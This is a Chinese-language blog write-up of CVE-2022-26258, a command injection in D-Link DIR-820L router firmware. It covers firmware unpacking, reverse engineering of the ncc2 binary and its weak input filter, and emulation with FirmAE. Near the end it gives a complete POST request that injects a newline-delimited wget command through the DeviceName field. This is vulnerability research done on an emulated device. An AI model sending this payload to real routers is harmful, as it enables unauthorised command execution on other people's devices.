CVE-2022-26258 命令执行漏洞


分析固件和漏洞

D-Link DIR-820L路由器固件版本1.05B03存在命令执行漏洞,CVE编号CVE-2022-26258,通过CVE网站查看信息,得知漏洞在 /lan.asp 页面中的设备名称参数出了问题。以下是CVE的描述信息:

image-20220425141131392使用binwalk解包时并未发现加密,直接得到了squashfs-root 文件系统:

image-20220425141224791

找到 lan.asp 文件,搜索“device”和“name”相关关键词,发现有多处调用:

function onPageLoad()
{
	...
	get_by_id("lan_device_name").value = lanCfg.lanDeviceName;
	...
}
...
function send_request(){
	...
	var lan_device_name = get_by_id("lan_device_name").value;
	...
}
...

function copyDataToDataModelFormat()
{
	...
	paramStr += '&lanHostCfg_DeviceName_1.1.1.0=' + get_by_id("lan_device_name").value;
	...
}
...
<tr>
		<td class="duple"><script>show_words('DEVICE_NAME')</script>:</td>
		<td width="340">&nbsp;&nbsp;&nbsp;
			<input name="lan_device_name" type="text" id="lan_device_name" size="20" maxlength="15" value=''>
		</td>
</tr>
...

审计代码,发现lan_device_name作为请求参数,拼接到paramStr中,这里应该是一个POST请求,然后将内容提交到了get_set.ccp 的URL中,:

function send_request(){
...

	if(submit_button_flag == 0){
				submit_button_flag = 1;
				/*var restoreStr
				for(var i=0; i<25; i++)
				{
				}*/
				deleteRedundentDatamodel();
				var submitObj = new ccpObject();
				var submitParam = {
					url: "get_set.ccp",
					arg: ""
				};
		.....

在文件系统中使用grep -r get_set . 查找这个URL的引用,并没有发现名为“get_set.ccp”的文件,但有许多asp文件都使用了这个URL,并且有四个二进制文件中匹配到了这个URL:

image-20220425141254823

既然没有“get_set.ccp”文件,那么可能是这个URL会交给后端处理,处理好之后返回给用户结果。我们依次分析这四个二进制文件,在文件中搜索字符串”get_set”,结果flash、smbd、libc不是很匹配,可能性较低,而ncc2的内容很匹配,它不光有字符串,还有相关函数,ncc2结果如下:

image-20220425141320141

接下来对ncc2进行逆向,搜索system等命令执行函数,发现关键逻辑:

image-20220425141332645

这里将v4的值拼接到格式化字符串里,然后整个字符串传给system,目前看来并未对v4进行检查,很有可能是命令注入点。

v4是getObj函数的返回值Obj,需要绕过hasInjectionString的判断才能到达命令注入点,现在需要找到hasInjectionString 函数在哪个文件中,同样使用grep -r 命令:

image-20220425141346118

这里找到一个libc文件,用IDA打开,然后分析此函数,发现它是一个过滤函数,用于判断是否有非法字符:

image-20220425141357805

但是这里只是一些基本的过滤规则,没有过滤冒号和换行符,可以使用“\n”来绕过,最终达到命令注入的效果。现在要验证漏洞是否存在,需要进行固件仿真。试了一下FrimAE可以仿真,这样就不需要手动去模拟了,避免了很多麻烦。

漏洞复现

首先下载FirmAE,然后按照官方文档给出的安装教程把环境安装好:

git clone --recursive <https://github.com/pr0v3rbs/FirmAE>
sudo ./download.sh
sudo ./install.sh

在download的时候速度非常慢,甚至出现连接断掉的情况,可以查看download.sh脚本,然后搭上梯子手动下载到binaries文件夹下:

download(){
 wget -N --continue -P./binaries/ $*
}

echo "Downloading binaries..."

echo "Downloading kernel 2.6 (MIPS)..."
download <https://github.com/pr0v3rbs/FirmAE_kernel-v2.6/releases/download/v1.0/vmlinux.mipsel.2>
download <https://github.com/pr0v3rbs/FirmAE_kernel-v2.6/releases/download/v1.0/vmlinux.mipseb.2>
......

下载好之后运行仿真命令:

sudo ./init.sh
sudo ./run.sh -a <brand> <firmware>
sudo ./run.sh -r <brand> <firmware>

-a 这条命令是解析固件,brand参数是一个自定义的标识符,然后跟上firmware.bin文件,-r 这条命令就是运行仿真了。仿真成功可以看到如下信息:

image-20220425141412340

然后在浏览器访问192.168.0.1,可以访问成功,这里要求登录,默认密码为空:

image-20220425141423322

根据之前的分析结果,访问lan.asp,看到页面确实像预测的那样POST提交表单到get_set.ccp的URL。这里测试修改Device Name然后使用burpsuite抓包看看参数构成:

image-20220425141433485

正如之前分析的那样,所有的参数都拼接起来了。然后尝试对此处使用换行符绕过,也就是”%0a”。这里有一个比较简单的验证方法,就是用python 起一个简单的HTTP服务,然后使用wget 命令请求这个HTTP服务,如果成功请求,在终端中就会输出请求的相关信息,并且wget会一直发出请求,用于测试在合适不过了:

sudo python -m SimpleHTTPServer 80

最后修改Device Name这条参数,最后请求头如下:

POST /get_set.ccp HTTP/1.1
Host: 192.168.0.1
Content-Length: 765
Accept: application/xml, text/xml, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: <http://192.168.0.1>
Referer: <http://192.168.0.1/lan.asp>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: hasLogin=§1§
Connection: close

ccp_act=§set§&old_ip=§192.168.0.1§&old_mask=§255.255.255.0§&new_ip=§192.168.0.1§&new_mask=§255.255.255.0§&nextPage=§lan.asp§&lanHostCfg_IPAddress_1.1.1.0=§192.168.0.1§&lanHostCfg_SubnetMask_1.1.1.0=§255.255.255.0§&lanHostCfg_DomainName_1.1.1.0=§§&lanHostCfg_DNSRelay_1.1.1.0=§1§&lanHostCfg_DHCPServerEnable_1.1.1.0=§1§&lanHostCfg_MinAddress_1.1.1.0=§192.168.0.100§&lanHostCfg_MaxAddress_1.1.1.0=§192.168.0.200§&lanHostCfg_DHCPLeaseTime_1.1.1.0=§1440§&lanHostCfg_DeviceName_1.1.1.0=§%0awget <http://192.168.0.2>%0a§&lanHostCfg_AlwaysBroadcast_1.1.1.0=§0§&lanHostCfg_NetBIOSAnnouncement_1.1.1.0=§0§&lanHostCfg_NetBIOSLearn_1.1.1.0=§0§&lanHostCfg_NetBIOSScope_1.1.1.0=§§&lanHostCfg_NetBIOSNodeType_1.1.1.0=§2§&lanHostCfg_PrimaryWINSAddress_1.1.1.0=§0.0.0.0§&lanHostCfg_SecondaryWINSAddress_1.1.1.0=§0.0.0.0§&1650509593486=§1650509593486§

在终端中看到来自192.168.0.1的请求,说明命令注入成功:

image-20220425141445337

References

IOTsec-Zone 物联网安全社区 | D-Link CVE-2022-26258 命令注入

Vuln/DIR-820L/command_execution_0 at master · skyedai910/Vuln

https://github.com/pr0v3rbs/FirmAE

CVE - CVE-2022-26258


文章作者: unr4v31
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 unr4v31 !
  目录